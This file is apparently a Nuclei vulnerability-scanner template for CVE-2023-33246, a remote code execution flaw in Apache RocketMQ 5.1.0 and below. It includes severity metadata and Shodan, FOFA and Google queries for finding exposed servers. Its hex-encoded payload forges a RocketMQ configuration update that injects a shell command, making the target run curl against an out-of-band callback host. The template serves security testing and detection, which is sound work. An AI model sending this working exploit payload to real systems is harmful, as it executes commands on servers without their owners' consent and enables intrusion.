id: CVE-2023-33246

info:
  name: RocketMQ <= 5.1.0 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Update the RocketMQ application to version 5.1.1
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33246
    - https://github.com/I5N0rth/CVE-2023-33246
    - http://packetstormsecurity.com/files/173339/Apache-RocketMQ-5.1.0-Arbitrary-Code-Injection.html
    - http://www.openwall.com/lists/oss-security/2023/07/12/1
    - https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-33246
    cwe-id: CWE-94
    epss-score: 0.94388
    epss-percentile: 0.99972
    cpe: cpe:2.3:a:apache:rocketmq:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: rocketmq
    shodan-query:
      - title:"RocketMQ"
      - http.title:"rocketmq-console-ng"
      - http.title:"rocketmq"
    fofa-query:
      - protocol="rocketmq"
      - title="rocketmq-console-ng"
      - title="rocketmq"
    google-query:
      - intitle:"rocketmq"
      - intitle:"rocketmq-console-ng"
  tags: packetstorm,network,cve2023,cve,rocketmq,rce,oast,intrusive,apache,tcp,kev,vkev,vuln
variables:
  part_a: '{{ hex_decode ("000000d2000000607b22636f6465223a32352c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3339357d66696c7465725365727665724e756d733d310a726f636b65746d71486f6d653d2d632024407c7368202e206563686f206375726c20") }}'
  part_b: '{{ hex_decode("3b0a") }}'
tcp:
  - host:
      - "{{Hostname}}"
    port: 10911

    inputs:
      - data: '{{ part_a + "{{interactsh-url}}" + "/////////////" + part_b  }}'
        read: 1024
    read-size: 4
    matchers:
      - type: dsl
        dsl:
          - contains(raw,'serializeTypeCurrentRPC')
          - contains(interactsh_protocol,'dns')
        condition: and
# digest: 4a0a00473045022100ab8c53199b0c16e4c4fdb7add69bd54f85dcddc0cd46c651c15db110ac9a987702202672456828a216c47a79f0245ad9d9f1848ee62b872b26a4507d1cdf4c012265:922c64590222798bb761d5b6d8e72950